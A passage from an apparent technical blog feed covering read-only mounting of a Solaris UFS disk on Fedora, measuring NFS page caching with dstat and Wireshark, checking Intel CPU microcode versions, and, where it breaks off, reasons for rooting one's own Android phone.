<code>\/dev\/sdXY<\/code> files are created. The\nkernel even correctly detects the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Unix_File_System\">UFS<\/a> magic - but fails to mount\nthe filesystem:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"err\">#<\/span><span class=\"w\"> <\/span><span class=\"nx\">mount<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"nx\">o<\/span><span class=\"w\"> <\/span><span class=\"nx\">noatime<\/span><span class=\"w\"> <\/span><span class=\"o\">\/<\/span><span class=\"nx\">dev<\/span><span class=\"o\">\/<\/span><span class=\"nx\">sdf5<\/span><span class=\"w\"> <\/span><span class=\"o\">\/<\/span><span class=\"nx\">mnt<\/span><span class=\"o\">\/<\/span><span class=\"nx\">old<\/span>\n<span class=\"nx\">mount<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"o\">\/<\/span><span class=\"nx\">mnt<\/span><span class=\"o\">\/<\/span><span class=\"nx\">old<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">unknown<\/span><span class=\"w\"> <\/span><span class=\"nx\">filesystem<\/span><span class=\"w\"> <\/span><span class=\"k\">type<\/span><span class=\"w\"> <\/span><span class=\"err\">&#39;<\/span><span class=\"nx\">ufs<\/span><span class=\"err\">&#39;<\/span><span class=\"p\">.<\/span>\n<\/code><\/pre><\/div>\n\n<p>This is due to the ufs kernel module missing - Fedora 27 doesn't\ninstall it, by default. Thus:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code># dnf -y install kernel-modules-extra\n<\/code><\/pre><\/div>\n\n<p>With the ufs kernel module available the mount succeeds:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code># mount -t ufs -o noatime \/dev\/sdf5 \/mnt\/old\nmount: \/mnt\/old: WARNING: device write-protected, mounted read-only.\n<\/code><\/pre><\/div>\n\n<p>The module also prints some warnings to the kernel log:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"go\">kernel: ufs: ufs was compiled with read-only support, can&#39;t be mounted as read-write<\/span>\n<span class=\"go\">kernel: ufs: You didn&#39;t specify the type of your ufs filesystem<\/span>\n<span class=\"go\">    mount -t ufs -o ufstype=sun|sunx86|44bsd|ufs2|5xbsd|old|hp|nextstep|nextstep-cd|openstep ...<\/span>\n<span class=\"go\">    &gt;&gt;&gt;WARNING&lt;&lt;&lt; Wrong ufstype may corrupt your filesystem, default is ufstype=old<\/span>\n<\/code><\/pre><\/div>\n\n<p>The warning might look scary, but the filesystem is mounted read-only, thus\na wrong fs-type can't really damage the filesystem. At least for OpenSolaris\npost 10-ish\/Solaris 11 pre-release the default ufs type is good enough\nand all files can be accessed.<\/p>","category":[{"@attributes":{"term":"unix"}},{"@attributes":{"term":"dtrace"}},{"@attributes":{"term":"solaris"}}]},{"title":"NFS VM Cached Read Illustrated","link":{"@attributes":{"href":"https:\/\/gms.tf\/nfs-vm-cached-read-illustrated.html","rel":"alternate"}},"published":"2017-08-12T18:12:00+02:00","updated":"2017-08-12T18:12:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-08-12:\/nfs-vm-cached-read-illustrated.html","summary":"<p>This article illustrates how the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Virtual_memory\">virtual memory (VM)<\/a> subsystem of\nthe <a href=\"https:\/\/en.wikipedia.org\/wiki\/Linux\">Linux kernel<\/a> is able to cache files that are located on\nan <a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_File_System\">NFS<\/a> server.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#environment\">Environment<\/a><\/li>\n<li><a href=\"#high-level-view\">High-Level View<\/a><\/li>\n<li><a href=\"#dstat\">Dstat<\/a><\/li>\n<li><a href=\"#nfs-traffic\">NFS Traffic<\/a><\/li>\n<li><a href=\"#closing-remarks\">Closing Remarks<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"environment\">Environment<a class=\"headerlink\" href=\"#environment\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>In this small experiment we just need two Linux machines on a\nlocal network, where one \u2026<\/p>","content":"<p>This article illustrates how the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Virtual_memory\">virtual memory (VM)<\/a> subsystem of\nthe <a href=\"https:\/\/en.wikipedia.org\/wiki\/Linux\">Linux kernel<\/a> is able to cache files that are located on\nan <a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_File_System\">NFS<\/a> server.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#environment\">Environment<\/a><\/li>\n<li><a href=\"#high-level-view\">High-Level View<\/a><\/li>\n<li><a href=\"#dstat\">Dstat<\/a><\/li>\n<li><a href=\"#nfs-traffic\">NFS Traffic<\/a><\/li>\n<li><a href=\"#closing-remarks\">Closing Remarks<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"environment\">Environment<a class=\"headerlink\" href=\"#environment\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>In this small experiment we just need two Linux machines on a\nlocal network, where one acts as <a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_File_System\">NFS<\/a> server and the other\none as NFS client. With a current Linux distribution like\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Fedora_(operating_system)\">Fedora<\/a> 26 you get <a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_File_System#NFSv4\">NFSv4<\/a> if you don't do\nanything special.<\/p>\n<p>The following results are from a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Gigabit_Ethernet#1000BASE-T\">1 GBit ethernet<\/a> network where the\nNFS client has 16 GB RAM and both machines run Fedora 26.<\/p>\n<h2 id=\"high-level-view\">High-Level View<a class=\"headerlink\" href=\"#high-level-view\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>A simple way to read over the network from an NFS filesystem\nwithout yielding disk IO on the client is:<\/p>\n<ol>\n<li>empty the VM cache - e.g. rebooting the client and server\n  or via executing <code>free &amp;&amp; sync &amp;&amp; echo 3 &gt; \/proc\/sys\/vm\/drop_caches &amp;&amp;\n  free<\/code> on both machines<\/li>\n<li>on the client: <code>cat<\/code> a relatively large file from a NFS\n   filesystem to <code>\/dev\/null<\/code><\/li>\n<\/ol>\n<p>The file should be large enough such that we can easily measure\nsome metrics but small enough to fit into RAM.<\/p>\n<p>In our environment the 4.2 GB backup copy of the <a href=\"https:\/\/en.wikipedia.org\/wiki\/John_Woo\">John Woo<\/a> movie\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/The_Killer_(1989_film)\">'The Killer'<\/a> is well suited:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span><span class=\"nb\">time<\/span><span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>The_Killer.iso<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>\/dev\/null\n<\/code><\/pre><\/div>\n\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Z_shell\">zsh<\/a> time builtin reports:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">0.00<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"n\">user<\/span><span class=\"w\"> <\/span><span class=\"mf\">1.08<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"kr\">sys<\/span><span class=\"n\">tem<\/span><span class=\"w\"> <\/span><span class=\"mf\">2<\/span><span class=\"err\">%<\/span><span class=\"w\"> <\/span><span class=\"n\">cpu<\/span><span class=\"w\"> <\/span><span class=\"mf\">38.373<\/span><span class=\"w\"> <\/span><span class=\"kr\">to<\/span><span class=\"n\">tal<\/span>\n<\/code><\/pre><\/div>\n\n<p>That means it took 38 seconds to transfer that 4.2 GiB file. This is\nplausible because the resulting read rate of 113 MiB\/s is close\nto the wire speed (<code>10^9\/8\/1024\/1024<\/code>) minus the expected protocol overhead.<\/p>\n<p>Executing the read command<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span><span class=\"nb\">time<\/span><span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>The_Killer.iso<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>\/dev\/null\n<\/code><\/pre><\/div>\n\n<p>a second and third time is way faster:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">0.00<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"n\">user<\/span><span class=\"w\"> <\/span><span class=\"mf\">0.57<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"kr\">sys<\/span><span class=\"n\">tem<\/span><span class=\"w\"> <\/span><span class=\"mf\">99<\/span><span class=\"err\">%<\/span><span class=\"w\"> <\/span><span class=\"n\">cpu<\/span><span class=\"w\"> <\/span><span class=\"mf\">0.578<\/span><span class=\"w\"> <\/span><span class=\"kr\">to<\/span><span class=\"n\">tal<\/span>\n<span class=\"mf\">0.00<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"n\">user<\/span><span class=\"w\"> <\/span><span class=\"mf\">0.44<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"kr\">sys<\/span><span class=\"n\">tem<\/span><span class=\"w\"> <\/span><span class=\"mf\">98<\/span><span class=\"err\">%<\/span><span class=\"w\"> <\/span><span class=\"n\">cpu<\/span><span class=\"w\"> <\/span><span class=\"mf\">0.447<\/span><span class=\"w\"> <\/span><span class=\"kr\">to<\/span><span class=\"n\">tal<\/span>\n<\/code><\/pre><\/div>\n\n<p>Just half a second.<\/p>\n<p>After clearing the VM cache with<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gh\">#<\/span> free &amp;&amp; sync &amp;&amp; echo 3 &gt; \/proc\/sys\/vm\/drop_caches &amp;&amp; free\n<\/code><\/pre><\/div>\n\n<p>where the final free reports<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>buff\/cache\n1871568\n<\/code><\/pre><\/div>\n\n<p>and reading the file just another time we are back at the initial\ntiming:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">0.02<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"n\">user<\/span><span class=\"w\"> <\/span><span class=\"mf\">1.26<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"kr\">sys<\/span><span class=\"n\">tem<\/span><span class=\"w\"> <\/span><span class=\"mf\">3<\/span><span class=\"err\">%<\/span><span class=\"w\"> <\/span><span class=\"n\">cpu<\/span><span class=\"w\"> <\/span><span class=\"mf\">38.551<\/span><span class=\"w\"> <\/span><span class=\"kr\">to<\/span><span class=\"n\">tal<\/span>\n<\/code><\/pre><\/div>\n\n<p>A <code>free<\/code> then reports<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>buff\/cache\n6267676\n<\/code><\/pre><\/div>\n\n<p>This is plausible as well, i.e. <code>(6267676-1871568)\/1024\/1024<\/code>\nis close to the 4.2 GB file size.<\/p>\n<p>If we have a rough idea how the VM subsystem works with a local\nfilsystem in a common OS kernel (like Linux) all this isn't\nsurprising. One just might wonder how the kernel decides that it\nis safe to reuse the VM cache since the file could have changed\non the server (e.g. locally or by another NFS client).<\/p>\n<p>We can verify that the kernel is able to detect file changes by\nother parties via touching the file on the server, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>touch<span class=\"w\"> <\/span>The_Killer.iso\n<\/code><\/pre><\/div>\n\n<p>After that, reading the file again on the client takes the initial\namount of time (39 seconds).<\/p>\n<h2 id=\"dstat\">Dstat<a class=\"headerlink\" href=\"#dstat\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>When running the <a href=\"http:\/\/dag.wiee.rs\/home-made\/dstat\/\"><code>dstat<\/code> command<\/a> on the client we can obtain a\nmore detailed picture. For example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>dstat<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>-D<span class=\"w\"> <\/span>total<span class=\"w\"> <\/span>-g<span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span>-N<span class=\"w\"> <\/span>enp0s31f6<span class=\"w\"> <\/span>-r<span class=\"w\"> <\/span>-c<span class=\"w\"> <\/span>--vm\n<\/code><\/pre><\/div>\n\n<p>By default, <code>dstat<\/code> repeatedly averages over 1 second, i.e. it prints every\nsecond a new line.<\/p>\n<p>The dstat output during the first file read:<\/p>\n<p><img alt=\"Dstat output during first read\" src=\"https:\/\/gms.tf\/image\/dstat-first.png\"><\/p>\n<p>We can observe a few things in the listing:<\/p>\n<ul>\n<li>the network receive rate matches the computed read rate (modulo\n  protocol overhead) and since reads need to be acknowledged\n  the outgoing network traffic increases as well<\/li>\n<li>directly after starting the read the VM heavily allocates and\n  frees caches pages (in the order of <code>60 * 10^3<\/code> pages or so)<\/li>\n<\/ul>\n<p>The work the VM subsystem is doing is plausible. The system has a\npage size of 4 KiB and thus the amount of cache pages is\nsufficient to deal with the read rate.<\/p>\n<p>The listing for the second read is much shorter:<\/p>\n<p><img alt=\"Dstat output during second read\" src=\"https:\/\/gms.tf\/image\/dstat-cached.png\"><\/p>\n<p>Here we don't see much network traffic, but we see a clear\nincrease in traffic that could be explained by some NFS\ncommunication where the client inquires the server whether the\nfile is outdated or not.<\/p>\n<p>Also, as expected, the VM subsystem isn't busy with allocations\nand frees as before.<\/p>\n<h2 id=\"nfs-traffic\">NFS Traffic<a class=\"headerlink\" href=\"#nfs-traffic\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>To get an idea how the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_File_System\">NFS<\/a> client detects file changes we can\ncapture the network traffic and inspect with an analyzer like\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Wireshark\">Wireshark<\/a>.<\/p>\n<p>In case directly capturing with Wireshark isn't an option, a\nsimple alternative is to capture with <a href=\"https:\/\/en.wikipedia.org\/wiki\/Tcpdump\">tcpdump<\/a> to a file and open\nthat file later with wireshark, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\"># <\/span>tcpdump<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>enp0s31f6<span class=\"w\"> <\/span>-s0<span class=\"w\"> <\/span>-w<span class=\"w\"> <\/span>\/var\/tmp\/nfs.dump\n<\/code><\/pre><\/div>\n\n<p>The NFS flow for the second file read is quite compact in the\nwireshark overview:<\/p>\n<p><img alt=\"Wireshark NFS overview\" src=\"https:\/\/gms.tf\/image\/wireshark-nfs-overview.png\"><\/p>\n<p>As expected, it is <a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_File_System#NFSv4\">NFS version 4<\/a> and there are just a few query\noperations.<\/p>\n<p>In detail the second <code>GETATTR<\/code> reply:<\/p>\n<p><img alt=\"Wireshark NFS details\" src=\"https:\/\/gms.tf\/image\/wireshark-nfs-detail.png\"><\/p>\n<p>We observe that the server replies that the file is a regular\nfile (<code>NF4REG<\/code>) and reports its change-ID and file-ID.<\/p>\n<p>The file-ID is conceptually similar to an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Inode\">inode<\/a> and thus the NFS\nclient can compare the change-ID with the one obtained from last\ntime to decide if it can reuse the pages from the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Virtual_memory\">VM cache<\/a> or if\nit has to retrieve the change file from the server.<\/p>\n<p>Sure enough, after touching the file the server sends a new\nchange-ID, i.e. 17002 after the first touch and then 17003 after\nthe second touch. As expected, the file-ID doesn't change.<\/p>\n<p>Why does the client issues two <code>GETTATTR<\/code> requests? The first is for\nthe directory the file is located in (<code>NF4DIR<\/code>).<\/p>\n<h2 id=\"closing-remarks\">Closing Remarks<a class=\"headerlink\" href=\"#closing-remarks\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>So when does the VM caching matter? Or, how can accidentally work\nagainst this mechanism when using NFS?<\/p>\n<p>Say, entirely hypothetical, you have a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Computer_cluster\">compute cluster<\/a> where\ntypical compute jobs are actually program chains where the output\nof one program is the input of the next one.  Also assume that\nthe working directories are shared via NFS for flexibility and\nredundancy. For example, when one cluster node crashes in the\nmiddle of a chain then the chain can be completed on another node\nwithout having to recompute everything.<\/p>\n<p>In that scenario, the best case would be: the complete chain is\nexecuted on one cluster node. A <a href=\"https:\/\/en.wikipedia.org\/wiki\/Job_scheduler\">job-scheduler<\/a> only schedules the\ncomplete chain to a cluster node. It doesn't re-schedule\nsingle programs of a chain between cluster nodes. Then the\ninput for the program next in chain comes from VM subsystem and\ndoesn't need to be transmitted over the network.<\/p>\n<p>In contrast to that, since the work directories are shared, it is\nalso possible to have finer job scheduling granularity, i.e. for\neach program of a chain. But this would increase the load on the\nNFS server.  In the worst-case the NFS server's outgoing network\ntraffic would multiply because the result of one chain program\nexecuted on cluster node A would have to be retrieved from the\nNFS server by the next chain program executed on cluster node B.<\/p>\n<p>Similar reasoning applies to other network filesystems (and other\noperating systems with a VM subsystem) and thus\nit makes sense to build a chain-to-node-affinity mechanism into the job\nscheduler such that the VM cache re-use is maximized in such a\nchain-job environment.<\/p>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"nfs"}}]},{"title":"Check CPU Microcode Version on Linux","link":{"@attributes":{"href":"https:\/\/gms.tf\/check-cpu-microcode-version-on-linux.html","rel":"alternate"}},"published":"2017-07-01T10:10:00+02:00","updated":"2017-07-01T10:10:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-07-01:\/check-cpu-microcode-version-on-linux.html","summary":"<p>Debian recently released a <a href=\"https:\/\/lists.debian.org\/debian-devel\/2017\/06\/msg00308.html\">warning advisory regarding a hardware\nbug in the hyperthreading implementation on certain Skylake\/Kaby\nLake Intel CPUs<\/a>. It can be mitigated by a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Microcode\">microcode<\/a> firmware\nupdate - at least on some models. This article is about checking\na non-Debian system for this issue and verifying if the \u2026<\/p>","content":"<p>Debian recently released a <a href=\"https:\/\/lists.debian.org\/debian-devel\/2017\/06\/msg00308.html\">warning advisory regarding a hardware\nbug in the hyperthreading implementation on certain Skylake\/Kaby\nLake Intel CPUs<\/a>. It can be mitigated by a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Microcode\">microcode<\/a> firmware\nupdate - at least on some models. This article is about checking\na non-Debian system for this issue and verifying if the right\nmicrocode is in place.<\/p>\n<p>The below console snippets are from a Dell notebook with Skylake\nCPU that runs Fedora 25. It turns out that Fedora, in contrast to\nDebian, installs some firmware packages, by default, including\nIntel microcode images (cf. <code>microcode_ctl<\/code>). Thus, a Fedora\nsystem on Skylake should already run with the microcode version\nthat includes the fix.<\/p>\n<p>Check for certain CPU features - e.g. if hypterthreading is\nenabled:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>grep<span class=\"w\"> <\/span><span class=\"s1\">&#39;\\&lt;ht\\&gt;&#39;<\/span><span class=\"w\"> <\/span>\/proc\/cpuinfo<span class=\"w\"> <\/span>-q<span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"m\">1<\/span>\n<span class=\"go\">1<\/span>\n<\/code><\/pre><\/div>\n\n<p>Display CPU model, stepping and active microcode version:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>grep<span class=\"w\"> <\/span><span class=\"s1\">&#39;stepping\\|model\\|microcode&#39;<\/span><span class=\"w\"> <\/span>\/proc\/cpuinfo\n<span class=\"go\">model       : 78<\/span>\n<span class=\"go\">model name  : Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz<\/span>\n<span class=\"go\">stepping    : 3<\/span>\n<span class=\"go\">microcode   : 0xba<\/span>\n<span class=\"go\">[..]<\/span>\n<\/code><\/pre><\/div>\n\n<p>The advisory states that Skylake model 78, stepping 3 is affected\nand that microcode version <code>0xba<\/code> includes the fix.<\/p>\n<p>Investigate whether the microcode was loaded by the BIOS or by the kernel:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\"># <\/span>journalctl<span class=\"w\"> <\/span>--no-hostname<span class=\"w\"> <\/span>-o<span class=\"w\"> <\/span>short-monotonic<span class=\"w\"> <\/span>--boot<span class=\"w\"> <\/span>-0<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>sed<span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s1\">&#39;1,\/PM: Preparing system for sleep\/p&#39;<\/span><span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span><span class=\"s1\">&#39;microcode\\|smp&#39;<\/span>\n<span class=\"go\">[    0.000000] microcode: microcode updated early to revision 0xba, \\<\/span>\n<span class=\"go\">                   date = 2017-04-09<\/span>\n<span class=\"go\">[    0.000000] smpboot: Allowing 4 CPUs, 0 hotplug CPUs<\/span>\n<span class=\"go\">[    0.040087] smpboot: Max logical packages: 2<\/span>\n<span class=\"go\">[    0.056402] smpboot: CPU0: Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz \\<\/span>\n<span class=\"go\">                   (family: 0x6, model: 0x4e, stepping: 0x3)<\/span>\n<span class=\"go\">[    0.056975] smp: Bringing up secondary CPUs ...<\/span>\n<span class=\"go\">[    0.239023] smp: Brought up 1 node, 4 CPUs<\/span>\n<span class=\"go\">[    0.239023] smpboot: Total of 4 processors activated (22476.05 BogoMIPS)<\/span>\n<span class=\"go\">[    0.693589] microcode: sig=0x406e3, pf=0x80, revision=0xba<\/span>\n<span class=\"go\">[    0.693671] microcode: Microcode Update Driver: v2.2.<\/span>\n<\/code><\/pre><\/div>\n\n<p>That means the microcode image in the BIOS is older, thus, the\nKernel loaded a newer version (the microcode date also matches\nthe one mentioned in the advisory).<\/p>\n<p>After a BIOS update, check that the BIOS loads the microcode\nbefore kernel start:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\"># <\/span>journalctl<span class=\"w\"> <\/span>--no-hostname<span class=\"w\"> <\/span>-o<span class=\"w\"> <\/span>short-monotonic<span class=\"w\"> <\/span>--boot<span class=\"w\"> <\/span>-0<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>sed<span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s1\">&#39;1,\/PM: Preparing system for sleep\/p&#39;<\/span><span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span><span class=\"s1\">&#39;microcode\\|smp&#39;<\/span>\n<span class=\"go\">[    0.000000] smpboot: Allowing 4 CPUs, 0 hotplug CPUs<\/span>\n<span class=\"go\">[    0.039057] smpboot: Max logical packages: 2<\/span>\n<span class=\"go\">[    0.054709] smpboot: CPU0: Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz \\<\/span>\n<span class=\"go\">                   (family: 0x6, model: 0x4e, stepping: 0x3)<\/span>\n<span class=\"go\">[    0.055000] smp: Bringing up secondary CPUs ...<\/span>\n<span class=\"go\">[    0.235034] smp: Brought up 1 node, 4 CPUs<\/span>\n<span class=\"go\">[    0.235034] smpboot: Total of 4 processors activated (22560.93 BogoMIPS)<\/span>\n<span class=\"go\">[    0.711458] microcode: sig=0x406e3, pf=0x80, revision=0xba<\/span>\n<span class=\"go\">[    0.711662] microcode: Microcode Update Driver: v2.2.<\/span>\n<\/code><\/pre><\/div>\n\n<p>(there is no <code>microcode udpated early<\/code> message, anymore)<\/p>\n<p>Modern CPU <a href=\"https:\/\/en.wikipedia.org\/wiki\/Microcode\">microcode<\/a>, like used by Intel CPUs, isn't persistent,\ni.e. it must be loaded at each boot, either by the BIOS or by the\nkernel. Apparently, it even has to be reloaded during resume\nafter a suspend-to-RAM (cf. the kernel messages).<\/p>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"firmware"}},{"@attributes":{"term":"dell"}}]},{"title":"Reasons for Rooting Android","link":{"@attributes":{"href":"https:\/\/gms.tf\/reasons-for-rooting-android.html","rel":"alternate"}},"published":"2017-06-15T21:10:00+02:00","updated":"2017-06-15T21:10:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-06-15:\/reasons-for-rooting-android.html","summary":"<p>A stock Android device is locked down, by default. Rooting\nis the process of getting access to the root user (think: installing\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Su_(Unix)\"><code>su<\/code><\/a>). This article lists several advantages of a rooted device.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#ntpsync\">NTPsync<\/a><\/li>\n<li><a href=\"#create-usb-mass-storage-devices\">Create USB Mass Storage devices<\/a><\/li>\n<li><a href=\"#simple-backups\">Simple Backups<\/a><\/li>\n<li><a href=\"#separate-disk-encryption-password\">Separate Disk Encryption Password<\/a><\/li>\n<li><a href=\"#side-note-rooting-vs-unlocking-vs-flashing\">Side Note: Rooting vs. Unlocking vs \u2026<\/a><\/li><\/ul><\/div>","content":"<p>A stock Android device is locked down, by default. Rooting\nis the process of getting access to the root user (think: installing\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Su_(Unix)\"><code>su<\/code><\/a>). This article lists several advantages of a rooted device.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#ntpsync\">NTPsync<\/a><\/li>\n<li><a href=\"#create-usb-mass-storage-devices\">Create USB Mass Storage devices<\/a><\/li>\n<li><a href=\"#simple-backups\">Simple Backups<\/a><\/li>\n<li><a href=\"#separate-disk-encryption-password\">Separate Disk Encryption Password<\/a><\/li>\n<li><a href=\"#side-note-rooting-vs-unlocking-vs-flashing\">Side Note: Rooting vs. Unlocking vs. Flashing<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"ntpsync\">NTPsync<a class=\"headerlink\" href=\"#ntpsync\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The Android system has a 'automatic date &amp; time' setting ('use\nnetwork-provided time') that is enabled, by default.\nUnfortunately, Android doesn't use the internet (think:\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Time_Protocol\">NTP<\/a>) for\nthis but the <a href=\"https:\/\/en.wikipedia.org\/wiki\/GSM\">GSM<\/a> network. The <a href=\"https:\/\/en.wikipedia.org\/wiki\/NITZ\">time synchronisation\nmethods<\/a> provided by mobile operators are notorious for\ndelivering the wrong time (German press coverage: <a href=\"https:\/\/www.inside-handy.de\/news\/36200-falsche-uhrzeit-im-o2-netz-uhrzeit-im-telefonica-netz-mit-9-minuten-zeitverzug\">2015<\/a>,\n<a href=\"https:\/\/www.heise.de\/newsticker\/meldung\/Falsche-Uhrzeit-im-Telefonica-Netz-3088196.html\">2016<\/a>)). Your author nearly missed a train because of such\nincorrect time data.<\/p>\n<p>Accessing a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Time_Protocol\">NTP<\/a> server from an Android app isn't a challenge, but\nthe system doesn't allow to set the system time from an app. This\nmakes sense for the obvious security implications, but the system\ndoesn't even provide a special permission an app could request.<\/p>\n<p>Thus, root is required to sync the device time with an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Time_Protocol\">NTP<\/a>\nserver. The <a href=\"https:\/\/github.com\/Free-Software-for-Android\/NTPSync\">NTPSync app<\/a> is an open-source app that is able to\ndisplay the remote time (doesn't require root) and to set the\nsystem time. It requests root permissions for that and thus\nrequires a rooted device for this feature.<\/p>\n<h2 id=\"create-usb-mass-storage-devices\">Create USB Mass Storage devices<a class=\"headerlink\" href=\"#create-usb-mass-storage-devices\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>What is better than a collection of USB sticks you have to carry\naround for different purposes? Yes, your Smartphone emulating of\nbunch of USB sticks. After all, you already carry around your\nSmartphone all the time, anyways.<\/p>\n<p>Stock Android doesn't provide this functionality. But it still\nhas enough Linux infrastructure included to easily configure\nemulated mass storage devices - if and only if you have root\naccess on your device.<\/p>\n<p>The <a href=\"https:\/\/github.com\/Streetwalrus\/android_usb_msd\">USB mountr app<\/a> provides a simple GUI for\ntemporarily turning your phone into a <a href=\"https:\/\/en.wikipedia.org\/wiki\/USB_mass_storage_device_class\">USB mass storage\ndevice<\/a>.  When the emulation is active, plugging the phone\nto an USB port looks like attaching a USB stick - from the\ncomputer point of view. And the phone is even able to charge\nitself during the emulation.<\/p>\n<h2 id=\"simple-backups\">Simple Backups<a class=\"headerlink\" href=\"#simple-backups\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Backing up important data from an android device to a connected\ncomputer can be a hassle.  Some apps provide sync-into-a-cloud\nsupport, but not all and perhaps you don't want to put your data\ninto some proprietary cloud you don't trust.<\/p>\n<p>Android apps are able to store data under two different\nlocations. Under a public location (i.e. under <code>\/sdcard\/<\/code>) and in\na private directory under <code>\/data\/data\/<\/code>. The public location can\nbe accessed without root-permissions, e.g. via <a href=\"https:\/\/developer.android.com\/studio\/command-line\/adb.html\"><code>adb pull<\/code><\/a> or via\na <a href=\"https:\/\/termux.com\/\">Termux<\/a> session. A normal user cannot access the private\ndirectory, though.<\/p>\n<p>There is a <code>adb backup<\/code> command for backing up the private app\ndata but there are two caveats. This functionality regularly\nbreaks with different Android\/<a href=\"https:\/\/developer.android.com\/studio\/command-line\/adb.html\">adb<\/a> version. The resulting archive\nis encrypted if your Android is encrypted. As always, the\nencrypted archive doesn't use some standard format that you could\ndecrypt using standard tools. Instead, it's in some legacy format\nsuch that you can't 